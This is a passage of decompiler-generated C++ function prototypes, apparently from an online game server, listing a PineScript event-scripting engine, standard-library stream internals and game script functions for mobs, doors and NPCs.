*__thiscall PineScriptStack::VariableStack::vs_FindVariable(PineScriptStack::VariableStack *this, PineScriptToken *varname); PineScriptToken *__thiscall PineScriptStack::VariableStack::vs_Push(PineScriptStack::VariableStack *this, PineScriptToken *varname); void __thiscall PineScriptStack::ProcessStack::_ProcessStack(PineScriptStack::ProcessStack *this); void __thiscall PineScriptStack::ProcessStack::ps_Ready(PineScriptStack::ProcessStack *this, PineEventScriptNode::Script *script); unsigned __int16 __thiscall PineScriptStack::ProcessStack::ps_Step(PineScriptStack::ProcessStack *this, int handle); PineScriptToken *__thiscall PineScriptStack::ProcessStack::ps_PushVariable(PineScriptStack::ProcessStack *this, PineScriptToken *varname); unsigned __int16 __thiscall PineScriptStack::ProcessStack::ps_Push(PineScriptStack::ProcessStack *this, PineEventScriptNode::ScriptAtom *script); unsigned __int16 __thiscall PineScriptStack::ProcessStack::ps_Pop(PineScriptStack::ProcessStack *this); unsigned __int16 __thiscall PineEventScript::pes_Load(PineEventScript *this, char *fname, int *errline); void __thiscall PineEventScriptNode::AutoRegList::AutoRegList(PineEventScriptNode::AutoRegList *this, PineEventScriptNode::StatementBase *pScript); void __thiscall std::basic_ios>::_basic_ios>(std::basic_ios > *this); void __thiscall std::basic_istream>::_basic_istream>(std::basic_istream > *this); void __thiscall std::basic_iostream>::_basic_iostream>(std::basic_iostream > *this); void *__thiscall std::basic_ios>::_scalar_deleting_destructor_(std::basic_ios > *this, unsigned int); void __thiscall std::basic_stringbuf_std::allocator>::_Tidy(std::basic_stringbuf,std::allocator > *this); void __thiscall std::basic_streambuf>::_Init(std::basic_streambuf > *this); void __thiscall std::basic_ostream>::_Sentry_base::__Sentry_base(std::basic_ostream >::_Sentry_base *this); char __thiscall List::l_PushZ(List *this, PineEventScriptNode::Statement *ele); // int __stdcall Concurrency::_Order_node_base::reserve_message(int); weak char __thiscall List::l_PopA(List *this, PineEventScriptNode::Statement *ele); char __thiscall List::l_PopZ(List *this, PineEventScriptNode::Statement *ele); CardDeck::Card *__thiscall List::l_GetInList(List *this, unsigned __int16 order, unsigned __int16 *handle); void __thiscall std::ctype::ctype(std::ctype *this, const __int16 *_Table, bool _Deletetable, unsigned int _Refs); char __thiscall std::ctype::do_tolower(std::ctype *this, char _Ch); const char *__thiscall std::ctype::do_tolower(std::ctype *this, char *_First, const char *_Last); char __thiscall std::ctype::do_toupper(std::ctype *this, char _Ch); const char *__thiscall std::ctype::do_toupper(std::ctype *this, char *_First, const char *_Last); const char *__thiscall std::ctype::do_widen(std::ctype *this, const char *_First, const char *_Last, char *_Dest); const char *__thiscall std::ctype::do_narrow(std::ctype *this, const char *_First, const char *_Last, char __formal, char *_Dest); unsigned int __cdecl std::ctype::_Getcat(std::locale::facet **_Ppf); void *__thiscall std::ctype::_vector_deleting_destructor_(std::ctype *this, unsigned int); void __thiscall std::ctype::_ctype(std::ctype *this); PineScriptToken *__thiscall PineScriptToken::pst_MergeString(PineScriptToken *this, char *str); PineScriptToken *__thiscall PineScriptToken::pst_MergeNumber(PineScriptToken *this, int num); PineScriptToken *__thiscall PineScriptToken::operator__(PineScriptToken *this, PineScriptToken *sst); PineScriptToken *__thiscall PineScriptToken::operator__(PineScriptToken *this, PineScriptToken *sst); PineScriptToken *__thiscall PineScriptToken::operator__(PineScriptToken *this, PineScriptToken *sst); PineScriptToken *__thiscall PineScriptToken::operator__(PineScriptToken *this, PineScriptToken *sst); PineScriptToken *__thiscall PineEventScriptNode::SysFuncRand::sfb_Calculate(PineEventScriptNode::SysFuncRand *this, PineScriptToken *buffer, PineScriptStack::ProcessStack *ps, PineEventScriptNode::ArgumentList *argumentlist); PineScriptToken *__thiscall PineEventScriptNode::SysFuncSQRT::sfb_Calculate(PineEventScriptNode::SysFuncSQRT *this, PineScriptToken *buffer, PineScriptStack::ProcessStack *ps, PineEventScriptNode::ArgumentList *argumentlist); PineScriptToken *__thiscall PineEventScriptNode::SysFuncDistance::sfb_Calculate(PineEventScriptNode::SysFuncDistance *this, PineScriptToken *buffer, PineScriptStack::ProcessStack *ps, PineEventScriptNode::ArgumentList *argumentlist); void __thiscall PineEventScriptNode::SystemFunction::SystemFunction(PineEventScriptNode::SystemFunction *this); void __thiscall PineEventScriptNode::Term::_Term(PineEventScriptNode::Term *this); void __thiscall PineEventScriptNode::Express::Express(PineEventScriptNode::Express *this); void __thiscall PineEventScriptNode::Express::_Express(PineEventScriptNode::Express *this); void __thiscall PineEventScriptNode::Condition::Condition(PineEventScriptNode::Condition *this); void __thiscall PineEventScriptNode::Condition::_Condition(PineEventScriptNode::Condition *this); void __thiscall PineEventScriptNode::StateIf::StateIf(PineEventScriptNode::StateIf *this); PineEventScriptNode::Block *__thiscall PineEventScriptNode::Script::sa_FindBlock(PineEventScriptNode::Script *this, PineScriptToken *blkname); PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::StateIf::sb_CloneMe(PineEventScriptNode::StateIf *this); PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::StateCall::sb_CloneMe(PineEventScriptNode::StateCall *this); unsigned __int16 __thiscall PineEventScriptNode::Script::sa_Step(PineEventScriptNode::Script *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip); unsigned __int16 __thiscall PineEventScriptNode::Block::sa_Step(PineEventScriptNode::Block *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip); unsigned __int16 __thiscall PineEventScriptNode::Statement::sa_Step(PineEventScriptNode::Statement *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip); unsigned __int16 __thiscall PineEventScriptNode::StateInfinite::sa_Step(PineEventScriptNode::StateInfinite *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip); unsigned __int16 __thiscall PineEventScriptNode::StateWhile::sa_Step(PineEventScriptNode::StateWhile *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip); unsigned __int16 __thiscall PineEventScriptNode::StateIf::sa_Step(PineEventScriptNode::StateIf *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip); unsigned __int16 __thiscall PineEventScriptNode::StatePrint::sa_Step(PineEventScriptNode::StatePrint *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip); unsigned __int16 __thiscall PineEventScriptNode::Express::sa_Load(PineEventScriptNode::Express *this, PineScriptReader::TokenReader *tr); unsigned __int16 __thiscall PineEventScriptNode::Statement::sa_Load(PineEventScriptNode::Statement *this, PineScriptReader::TokenReader *tr); PineScriptToken *__thiscall PineEventScriptNode::Express::sa_Calculate(PineEventScriptNode::Express *this, PineScriptToken *buffer, PineScriptStack::ProcessStack *ps); PineScriptToken *__thiscall PineEventScriptNode::Condition::sa_Calculate(PineEventScriptNode::Condition *this, PineScriptToken *buffer, PineScriptStack::ProcessStack *ps); PineScriptToken *__thiscall PineScriptReader::TokenReader::tr_ReadNumber(PineScriptReader::TokenReader *this, PineScriptToken *tkn); PineScriptToken *__thiscall PineScriptReader::TokenReader::tr_ReadIdent(PineScriptReader::TokenReader *this, PineScriptToken *tkn); void __thiscall PineEventScriptNode::StatementList::_StatementList(PineEventScriptNode::StatementList *this); void __thiscall PineScriptStack::ProcessStack::ProcessStack(PineScriptStack::ProcessStack *this); unsigned __int16 __thiscall PineScriptStack::ProcessStack::ps_ExitBlock(PineScriptStack::ProcessStack *this, PineScriptToken *exitblock); PineScriptToken *__thiscall PineScriptStack::ProcessStack::ps_FindVariable(PineScriptStack::ProcessStack *this, PineScriptToken *varname); void __thiscall std::basic_streambuf>::_basic_streambuf>(std::basic_streambuf > *this); int __thiscall std::basic_streambuf>::xsgetn(std::basic_streambuf > *this, char *_Ptr, int _Count); int __thiscall std::basic_streambuf>::xsputn(std::basic_streambuf > *this, const char *_Ptr, int _Count); std::fpos *__thiscall std::basic_streambuf>::seekoff(std::basic_streambuf > *this, std::fpos *result, int __formal, int __formal, int __formal); std::fpos *__thiscall std::basic_streambuf>::seekpos(std::basic_streambuf > *this, std::fpos *result, std::fpos __formal, int __formal); void __thiscall std::basic_stringbuf_std::allocator>::_basic_stringbuf_std::allocator>(std::basic_stringbuf,std::allocator > *this); int __thiscall std::basic_stringbuf_std::allocator>::pbackfail(std::basic_stringbuf,std::allocator > *this, int _Meta); int __thiscall std::basic_stringbuf_std::allocator>::underflow(std::basic_stringbuf,std::allocator > *this); std::fpos *__thiscall std::basic_stringbuf_std::allocator>::seekoff(std::basic_stringbuf,std::allocator > *this, std::fpos *result, int _Off, int _Way, int _Which); std::fpos *__thiscall std::basic_stringbuf_std::allocator>::seekpos(std::basic_stringbuf,std::allocator > *this, std::fpos *result, std::fpos _Ptr, int _Mode); void *__thiscall std::basic_ostream>::_vector_deleting_destructor_(std::basic_ios > *this, char a2); void *__thiscall std::basic_istream>::_vector_deleting_destructor_(std::basic_ios > *this, char a2); void *__thiscall std::basic_streambuf>::_vector_deleting_destructor_(std::basic_streambuf > *this, unsigned int); void *__thiscall std::basic_iostream>::_vector_deleting_destructor_(std::basic_iostream > *this, char a2); void *__thiscall std::basic_stringbuf_std::allocator>::_vector_deleting_destructor_(std::basic_stringbuf,std::allocator > *this, unsigned int); void __thiscall std::basic_streambuf>::basic_streambuf>(std::basic_streambuf > *this); std::ctype *__cdecl std::use_facet>(std::locale *_Loc); char __thiscall List::l_Enlargement(List *this, int extsize); char __thiscall List::l_PushA(List *this, PineEventScriptNode::Statement *ele); // int __stdcall Concurrency::_Order_node_base::reserve_message(int); weak void __thiscall std::num_put>>::num_put>>(std::num_put > > *this, unsigned int _Refs); void *__thiscall std::num_put>>::_scalar_deleting_destructor_(std::num_put > > *this, unsigned int); void __thiscall PineEventScriptNode::StatementBaseExpress::StatementBaseExpress(PineEventScriptNode::StatementBaseExpress *this, char *command); PineScriptToken *__thiscall PineEventScriptNode::Identify::i_GetToken(PineEventScriptNode::Identify *this, PineScriptToken *varname, PineScriptStack::ProcessStack *ps); PineScriptToken *__thiscall PineEventScriptNode::Identify::i_GetVariable(PineEventScriptNode::Identify *this, PineScriptStack::ProcessStack *ps); PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::StatePrint::sb_CloneMe(PineEventScriptNode::StatePrint *this); unsigned __int16 __thiscall PineEventScriptNode::StateVarDeclear::sa_Step(PineEventScriptNode::StateVarDeclear *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip); unsigned __int16 __thiscall PineEventScriptNode::StateBreak::sa_Step(PineEventScriptNode::StateBreak *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip); unsigned __int16 __thiscall PineEventScriptNode::StateCall::sa_Step(PineEventScriptNode::StateCall *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip); PineScriptToken *__thiscall PineEventScriptNode::Id::sa_Calculate(PineEventScriptNode::Id *this, PineScriptToken *buffer, PineScriptStack::ProcessStack *ps); PineScriptToken *__thiscall PineEventScriptNode::Term::sa_Calculate(PineEventScriptNode::Term *this, PineScriptToken *buffer, PineScriptStack::ProcessStack *ps); PineScriptToken *__thiscall PineScriptReader::TokenReader::tr_GetToken(PineScriptReader::TokenReader *this, PineScriptToken *tkn); std::basic_ostream > *__thiscall std::basic_ostream>::flush(std::basic_ostream > *this); void __thiscall std::basic_stringstream_std::allocator>::_basic_stringstream_std::allocator>(std::basic_stringstream,std::allocator > *this); int __thiscall std::basic_stringbuf_std::allocator>::overflow(std::basic_stringbuf,std::allocator > *this, int _Meta); void __thiscall std::basic_stringbuf_std::allocator>::basic_stringbuf_std::allocator>(std::basic_stringbuf,std::allocator > *this, int _Mode); void __thiscall std::basic_ostream>::sentry::sentry(std::basic_ostream >::sentry *this, std::basic_ostream > *_Ostr); char __thiscall std::basic_ios>::widen(std::basic_ios > *this, char _Byte); char __thiscall List::l_PushA(List *this, PineEventScriptNode::Block *ele); // int __stdcall Concurrency::_Order_node_base::reserve_message(int); weak char __thiscall List::l_PushZ(List *this, PineEventScriptNode::Block *ele); // int __stdcall Concurrency::_Order_node_base::reserve_message(int); weak char __thiscall List::l_PopA(List *this, PineEventScriptNode::Block *ele); char __thiscall List::l_PopZ(List *this, PineEventScriptNode::Block *ele); unsigned int __cdecl std::num_put>>::_Getcat(std::locale::facet **_Ppf); void __thiscall List::l_Clear(List *this); void __thiscall List::l_Clear(List *this); PineScriptTracer::ScriptTracer *__thiscall PineScriptTracer::ScriptTracer::operator<<(PineScriptTracer::ScriptTracer *this, PineEventScriptNode::Identify *id); unsigned __int16 __thiscall PineEventScriptNode::CompareOperator::co_Equal(PineEventScriptNode::CompareOperator *this, PineScriptReader::TokenReader *tr); unsigned __int16 __thiscall PineEventScriptNode::CompareOperator::co_Excremation(PineEventScriptNode::CompareOperator *this, PineScriptReader::TokenReader *tr); unsigned __int16 __thiscall PineEventScriptNode::CompareOperator::co_NotEqual(PineEventScriptNode::CompareOperator *this, PineScriptReader::TokenReader *tr); void __thiscall PineEventScriptNode::Identify::_Identify(PineEventScriptNode::Identify *this); void __thiscall PineEventScriptNode::Block::_Block(PineEventScriptNode::Block *this); void __thiscall PineEventScriptNode::StateVarDeclear::StateVarDeclear(PineEventScriptNode::StateVarDeclear *this); void __thiscall PineEventScriptNode::OtherStatement::OtherStatement(PineEventScriptNode::OtherStatement *this, char *command, unsigned __int16 idread, int expressnummin, int expressnummax); void __thiscall PineEventScriptNode::OtherStatement::_OtherStatement(PineEventScriptNode::OtherStatement *this); PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::StateVarDeclear::sb_CloneMe(PineEventScriptNode::StateVarDeclear *this); PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::StatePermillage::sb_CloneMe(PineEventScriptNode::StatePermillage *this); PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::StateAssignment::sb_CloneMe(PineEventScriptNode::StateAssignment *this); void __thiscall PineEventScriptNode::Block::l_Clone(PineEventScriptNode::Block *this, PineEventScriptNode::Block *blk); unsigned __int16 __thiscall PineEventScriptNode::StateAssignment::sa_Step(PineEventScriptNode::StateAssignment *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip); unsigned __int16 __thiscall PineEventScriptNode::CompareOperator::sa_Load(PineEventScriptNode::CompareOperator *this, PineScriptReader::TokenReader *tr); unsigned __int16 __thiscall PineEventScriptNode::CalculateOperator::sa_Load(PineEventScriptNode::CalculateOperator *this, PineScriptReader::TokenReader *tr); unsigned __int16 __thiscall PineEventScriptNode::String::sa_Load(PineEventScriptNode::String *this, PineScriptReader::TokenReader *tr); unsigned __int16 __thiscall PineEventScriptNode::Number::sa_Load(PineEventScriptNode::Number *this, PineScriptReader::TokenReader *tr); unsigned __int16 __thiscall PineEventScriptNode::Id::sa_Load(PineEventScriptNode::Id *this, PineScriptReader::TokenReader *tr); unsigned __int16 __thiscall PineEventScriptNode::Identify::sa_Load(PineEventScriptNode::Identify *this, PineScriptReader::TokenReader *tr); unsigned __int16 __thiscall PineEventScriptNode::ArgumentList::sa_Load(PineEventScriptNode::ArgumentList *this, PineScriptReader::TokenReader *tr); unsigned __int16 __thiscall PineEventScriptNode::SystemFunction::sa_Load(PineEventScriptNode::SystemFunction *this, PineScriptReader::TokenReader *tr); unsigned __int16 __thiscall PineEventScriptNode::Term::sa_Load(PineEventScriptNode::Term *this, PineScriptReader::TokenReader *tr); unsigned __int16 __thiscall PineEventScriptNode::BlockName::sa_Load(PineEventScriptNode::BlockName *this, PineScriptReader::TokenReader *tr); unsigned __int16 __thiscall PineEventScriptNode::Block::sa_Load(PineEventScriptNode::Block *this, PineScriptReader::TokenReader *tr); unsigned __int16 __thiscall PineEventScriptNode::StateVarDeclear::sa_Load(PineEventScriptNode::StateVarDeclear *this, PineScriptReader::TokenReader *tr); unsigned __int16 __thiscall PineEventScriptNode::StateInfinite::sa_Load(PineEventScriptNode::StateInfinite *this, PineScriptReader::TokenReader *tr); unsigned __int16 __thiscall PineEventScriptNode::StateWhile::sa_Load(PineEventScriptNode::StateWhile *this, PineScriptReader::TokenReader *tr); unsigned __int16 __thiscall PineEventScriptNode::StateBreak::sa_Load(PineEventScriptNode::StateBreak *this, PineScriptReader::TokenReader *tr); unsigned __int16 __thiscall PineEventScriptNode::StateCall::sa_Load(PineEventScriptNode::StateCall *this, PineScriptReader::TokenReader *tr); unsigned __int16 __thiscall PineEventScriptNode::StatePermillage::sa_Load(PineEventScriptNode::StatePermillage *this, PineScriptReader::TokenReader *tr); unsigned __int16 __thiscall PineEventScriptNode::StatementBaseExpress::sa_Load(PineEventScriptNode::StatementBaseExpress *this, PineScriptReader::TokenReader *tr); unsigned __int16 __thiscall PineEventScriptNode::StateAssignment::sa_Load(PineEventScriptNode::StateAssignment *this, PineScriptReader::TokenReader *tr); unsigned __int16 __thiscall PineEventScriptNode::OtherStatement::sa_Load(PineEventScriptNode::OtherStatement *this, PineScriptReader::TokenReader *tr); void __thiscall std::basic_stringstream_std::allocator>::_vbase_destructor(std::basic_stringstream,std::allocator > *this); void *__thiscall std::basic_stringstream_std::allocator>::_scalar_deleting_destructor_(std::basic_stringstream,std::allocator > *this, char a2); void __thiscall std::basic_ostream>::sentry::_sentry(std::basic_ostream >::sentry *this); std::basic_ostream > *__cdecl std::operator<<_std::allocator>(std::basic_ostream > *_Ostr, std::basic_string,std::allocator > *_Str); std::basic_ostream > *__cdecl std::operator<<>(std::basic_ostream > *_Ostr, const char *_Val); std::num_put > > *__cdecl std::use_facet>>>(std::locale *_Loc); void __thiscall List::l_MakeList(List *this, unsigned __int16 size); void __thiscall List::l_MakeList(List *this, unsigned __int16 size); void __thiscall PineEventScriptNode::ScriptParameterPaser::ScriptParameterPaser(PineEventScriptNode::ScriptParameterPaser *this, PineEventScriptNode::Express **ppExpress, PineScriptStack::ProcessStack *ps); void __thiscall PineEventScriptNode::ScriptParameterPaser::_ScriptParameterPaser(PineEventScriptNode::ScriptParameterPaser *this); std::basic_ostream > *__thiscall std::basic_ostream>::operator<<(std::basic_ostream > *this, int _Val); void __thiscall List::List(List *this, ListArray *array); void __thiscall List::List(List *this, ListArray *array); void __thiscall PineEventScriptNode::Block::Block(PineEventScriptNode::Block *this); void __thiscall PineEventScriptNode::StateInfinite::StateInfinite(PineEventScriptNode::StateInfinite *this); void __thiscall PineEventScriptNode::StateWhile::StateWhile(PineEventScriptNode::StateWhile *this); PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::Block::sb_CloneMe(PineEventScriptNode::Block *this); PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::StateInfinite::sb_CloneMe(PineEventScriptNode::StateInfinite *this); PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::StateWhile::sb_CloneMe(PineEventScriptNode::StateWhile *this); unsigned __int16 __thiscall PineEventScriptNode::StateIf::sa_Load(PineEventScriptNode::StateIf *this, PineScriptReader::TokenReader *tr); void __thiscall PineEventScriptNode::StatementList::StatementList(PineEventScriptNode::StatementList *this); void *__thiscall PineEventScriptNode::ScriptParameterPaser::_vector_deleting_destructor_(PineEventScriptNode::ScriptParameterPaser *this, unsigned int); void __thiscall std::basic_iostream>::basic_iostream>(std::basic_iostream > *this, std::basic_streambuf > *_Strbuf); std::ostreambuf_iterator > *__thiscall std::num_put>>::do_put(std::num_put > > *this, std::ostreambuf_iterator > *result, std::ostreambuf_iterator > _Dest, std::ios_base *_Iosbase, char _Fill, bool _Val); std::ostreambuf_iterator > *__thiscall std::ostreambuf_iterator>::operator_(std::ostreambuf_iterator > *this, char _Right); std::ostreambuf_iterator > *__cdecl std::num_put>>::_Rep(std::num_put > > *this, std::ostreambuf_iterator > *result, std::ostreambuf_iterator > _Dest, char _Ch, unsigned int _Count); std::basic_string,std::allocator > *__thiscall std::numpunct::falsename(std::numpunct *this, std::basic_string,std::allocator > *result); std::basic_string,std::allocator > *__thiscall std::numpunct::truename(std::numpunct *this, std::basic_string,std::allocator > *result); std::numpunct *__cdecl std::use_facet>(std::locale *_Loc); unsigned int __cdecl std::numpunct::_Getcat(std::locale::facet **_Ppf); char __thiscall std::numpunct::do_decimal_point(std::numpunct *this); char __thiscall std::numpunct::do_thousands_sep(std::numpunct *this); void *__thiscall std::numpunct::_scalar_deleting_destructor_(std::numpunct *this, unsigned int); void __thiscall std::numpunct::_numpunct(std::numpunct *this); void __thiscall std::numpunct::_Tidy(std::numpunct *this); void __thiscall std::numpunct::_Init(std::numpunct *this, std::_Locinfo *_Lobj); // void __usercall _L164476(int a1); char *__cdecl std::_Maklocstr(const char *_Ptr, char *__formal, _Cvtvec *__formal); void __thiscall ListArray::ListArray(ListArray *this, int size); char __thiscall List::l_Enlargement(List *this, int extsize); void __thiscall PineEventScriptNode::Script::Script(PineEventScriptNode::Script *this); unsigned __int16 __thiscall PineEventScriptNode::Script::sa_Load(PineEventScriptNode::Script *this, PineScriptReader::TokenReader *tr); void __thiscall PineEventScript::PineEventScript(PineEventScript *this); void __thiscall PineEventScript::_PineEventScript(PineEventScript *this); void __thiscall std::basic_stringstream_std::allocator>::basic_stringstream_std::allocator>(std::basic_stringstream,std::allocator > *this, int _Mode); std::basic_string,std::allocator > *__thiscall std::basic_stringbuf_std::allocator>::str(std::basic_stringbuf,std::allocator > *this, std::basic_string,std::allocator > *result); std::ostreambuf_iterator > *__thiscall std::num_put>>::do_put(std::num_put > > *this, std::ostreambuf_iterator > *result, std::ostreambuf_iterator > _Dest, std::ios_base *_Iosbase, char _Fill, int _Val); char *__cdecl std::num_put>>::_Ifmt(std::num_put > > *this, char *_Fmt, const char *_Spec, int _Flags); std::ostreambuf_iterator > *__cdecl std::num_put>>::_Iput(std::num_put > > *this, std::ostreambuf_iterator > *result, std::ostreambuf_iterator > _Dest, std::ios_base *_Iosbase, char _Fill, char *_Buf, unsigned int _Count); std::ostreambuf_iterator > *__cdecl std::num_put>>::_Putgrouped(std::num_put > > *this, std::ostreambuf_iterator > *result, std::ostreambuf_iterator > _Dest, const char *_Ptr, unsigned int _Count, char _Kseparator); std::basic_string,std::allocator > *__thiscall std::numpunct::grouping(std::numpunct *this, std::basic_string,std::allocator > *result); std::ostreambuf_iterator > *__thiscall std::num_put>>::do_put(std::num_put > > *this, std::ostreambuf_iterator > *result, std::ostreambuf_iterator > _Dest, std::ios_base *_Iosbase, char _Fill, unsigned int _Val); std::ostreambuf_iterator > *__thiscall std::num_put>>::do_put(std::num_put > > *this, std::ostreambuf_iterator > *result, std::ostreambuf_iterator > _Dest, std::ios_base *_Iosbase, char _Fill, __int64 _Val); std::ostreambuf_iterator > *__thiscall std::num_put>>::do_put(std::num_put > > *this, std::ostreambuf_iterator > *result, std::ostreambuf_iterator > _Dest, std::ios_base *_Iosbase, char _Fill, unsigned __int64 _Val); std::ostreambuf_iterator > *__thiscall std::num_put>>::do_put(std::num_put > > *this, std::ostreambuf_iterator > *result, std::ostreambuf_iterator > _Dest, std::ios_base *_Iosbase, char _Fill, long double _Val); char *__cdecl std::num_put>>::_Ffmt(std::num_put > > *this, char *_Fmt, char _Spec, int _Flags); std::ostreambuf_iterator > *__cdecl std::num_put>>::_Fput(std::num_put > > *this, std::ostreambuf_iterator > *result, std::ostreambuf_iterator > _Dest, std::ios_base *_Iosbase, char _Fill, const char *_Buf, unsigned int _Beforepoint, unsigned int _Afterpoint, unsigned int _Trailing, unsigned int _Count); std::basic_string,std::allocator > *__thiscall std::basic_string_std::allocator>::insert(std::basic_string,std::allocator > *this, unsigned int _Off, unsigned int _Count, char _Ch); std::basic_string,std::allocator > *__thiscall std::basic_string_std::allocator>::append(std::basic_string,std::allocator > *this, unsigned int _Count, char _Ch); std::ostreambuf_iterator > *__thiscall std::num_put>>::do_put(std::num_put > > *this, std::ostreambuf_iterator > *result, std::ostreambuf_iterator > _Dest, std::ios_base *_Iosbase, char _Fill, long double _Val); std::ostreambuf_iterator > *__thiscall std::num_put>>::do_put(std::num_put > > *this, std::ostreambuf_iterator > *result, std::ostreambuf_iterator > _Dest, std::ios_base *_Iosbase, char _Fill, const void *_Val); std::basic_string,std::allocator > *__thiscall std::numpunct::do_grouping(std::numpunct *this, std::basic_string,std::allocator > *result); std::basic_string,std::allocator > *__thiscall std::numpunct::do_falsename(std::numpunct *this, std::basic_string,std::allocator > *result); std::basic_string,std::allocator > *__thiscall std::numpunct::do_truename(std::numpunct *this, std::basic_string,std::allocator > *result); void __thiscall PineEventScriptNode::ScriptParameterPaser::SetErrorMsg(PineEventScriptNode::ScriptParameterPaser *this, const char *pkErrorMsg); std::basic_string,std::allocator > *__thiscall std::basic_stringstream_std::allocator>::str(std::basic_stringstream,std::allocator > *this, std::basic_string,std::allocator > *result); bool __thiscall PineEventScriptNode::ScriptParameterPaser::GetByObject(PineEventScriptNode::ScriptParameterPaser *this, int nIndex, #331 **rpObj); bool __thiscall PineEventScriptNode::ScriptParameterPaser::GetByDWARD(PineEventScriptNode::ScriptParameterPaser *this, int nIndex, unsigned int *rDWARD); bool __thiscall PineEventScriptNode::ScriptParameterPaser::GetByString(PineEventScriptNode::ScriptParameterPaser *this, int nIndex, std::basic_string,std::allocator > *rstrchar); char __thiscall Movie::Theater::t_AllInMap(Movie::Theater *this, AxialListIterator *ali); void __thiscall AxialListMobCounter::_AxialListMobCounter(AxialListMobCounter *this); void __thiscall AxialListMobInAreaCounter::AxialListMobInAreaCounter(AxialListMobInAreaCounter *this, unsigned __int16 mobid, Name8 *Areaname, unsigned int guild, AxialListMobInAreaCounter::ALMCType type, int maxcount); void __thiscall AxialListMobInAreaCounter::_AxialListMobInAreaCounter(AxialListMobInAreaCounter *this); void __thiscall AxialListObjectList::_AxialListObjectList(AxialListObjectList *this); void __thiscall PROTO_NC_CHAR_WEDDINGDATA_ACK::__unnamed::__unnamed(MemoryQueueGuildReName *this); void __thiscall AxialListKQResult::alkqr_Score_ConditionOfHero(AxialListKQResult *this, #331 *obj); void __thiscall AxialListKQResult::alkqr_Score_Default(AxialListKQResult *this, #331 *obj); void __thiscall AxialListKQResult::alkqr_CalcScore(AxialListKQResult *this); int __cdecl AxialListKQResult::alkqr_ScoreCompare(const void *a, const void *b); Name3 *__thiscall Movie::Theater::t_MapNameServer(Movie::Theater *this, Name3 *buf); #331 *__thiscall ScriptMobBreeder::smb_ShineObject(ScriptMobBreeder *this, PineScriptStack::ProcessStack *ps, unsigned __int16 objhnd); unsigned __int16 __thiscall ScriptMobBreeder::smb_ObjectRegen(ScriptMobBreeder *this, PineScriptStack::ProcessStack *ps, #331 *obj, unsigned __int16 mobhnd, PineEventScriptNode::ArgumentList *arglst); unsigned __int16 __thiscall ScriptMobBreeder::smb_ObjectChange(ScriptMobBreeder *this, PineScriptStack::ProcessStack *ps, #331 *newobj, unsigned __int16 newhnd, PineEventScriptNode::ArgumentList *arglst); PineScriptToken *__thiscall PineEventScriptNode::SysFuncShineMobRegen::sfb_Calculate(PineEventScriptNode::SysFuncShineMobRegen *this, PineScriptToken *buffer, PineScriptStack::ProcessStack *ps, PineEventScriptNode::ArgumentList *argumentlist); PineScriptToken *__thiscall PineEventScriptNode::SysFuncShineDoorBuild::sfb_Calculate(PineEventScriptNode::SysFuncShineDoorBuild *this, PineScriptToken *buffer, PineScriptStack::ProcessStack *ps, PineEventScriptNode::ArgumentList *argumentlist); PineScriptToken *__thiscall PineEventScriptNode::SysFuncShineNPCStand::sfb_Calculate(PineEventScriptNode::SysFuncShineNPCStand *this, PineScriptToken *buffer, PineScriptStack::ProcessStack *ps, PineEventScriptNode::ArgumentList *argumentlist); PineScriptToken *__thiscall PineEventScriptNode::SysFuncShineChange2Mob::sfb_Calculate(PineEventScriptNode::SysFuncShineChange2Mob *this, PineScriptToken *buffer, PineScriptStack::ProcessStack *ps, PineEventScriptNode::ArgumentList *argumentlist); PineScriptToken *__thiscall PineEventScriptNode::SysFuncShineChange2Door::sfb_Calculate(PineEventScriptNode::SysFuncShineChange2Door *this, PineScriptToken *buffer, PineScriptStack::ProcessStack *ps, PineEventScriptNode::ArgumentList *argumentlist); PineScriptToken *__thiscall PineEventScriptNode::SysFuncShineChange2NPC::sfb_Calculate(PineEventScriptNode::SysFuncShineChange2NPC *this, PineScriptToken *buffer, PineScriptStack::ProcessStack *ps, PineEventScriptNode::ArgumentList *argumentlist); PineScriptToken *__thiscall PineEventScriptNode::SysFuncShineCount::sfb_Calculate(PineEventScriptNode::SysFuncShineCount *this, PineScriptToken *buffer, PineScriptStack::ProcessStack *ps, PineEventScriptNode::ArgumentList *argumentlist); PineScriptToken *__thiscall PineEventScriptNode::SysFuncShineRestSecond::sfb_Calculate(PineEventScriptNode::SysFuncShineRestSecond *this, PineScriptToken *buffer, PineScriptStack::ProcessStack *ps, PineEventScriptNode::ArgumentList *argumentlist); PineScriptToken *__thiscall PineEventScriptNode::SysFuncShineCharClass::sfb_Calculate(PineEventScriptNode::SysFuncShineCharClass *this, PineScriptToken *buffer, PineScriptStack::ProcessStack *ps, PineEventScriptNode::ArgumentList *argumentlist); PineScriptToken *__thiscall PineEventScriptNode::SysFuncShineCharName::sfb_Calculate(PineEventScriptNode::SysFuncShineCharName *this, PineScriptToken *buffer, PineScriptStack::ProcessStack *ps, PineEventScriptNode::ArgumentList *argumentlist); PineScriptToken *__thiscall PineEventScriptNode::SysFuncShineDeadNumber::sfb_Calculate(PineEventScriptNode::SysFuncShineDeadNumber *this, PineScriptToken *buffer, PineScriptStack::ProcessStack *ps, PineEventScriptNode::ArgumentList *argumentlist); PineScriptToken *__thiscall PineEventScriptNode::SysFuncShineCircularScatter::sfb_Calculate(PineEventScriptNode::SysFuncShineCircularScatter *this, PineScriptToken *buffer, PineScriptStack::ProcessStack *ps, PineEventScriptNode::ArgumentList *argumentlist); PineScriptToken *__thiscall PineEventScriptNode::SysFuncShineRemoveFisrt::sfb_Calculate(PineEventScriptNode::SysFuncShineRemoveFisrt *this, PineScriptToken *buffer, PineScriptStack::ProcessStack *ps, 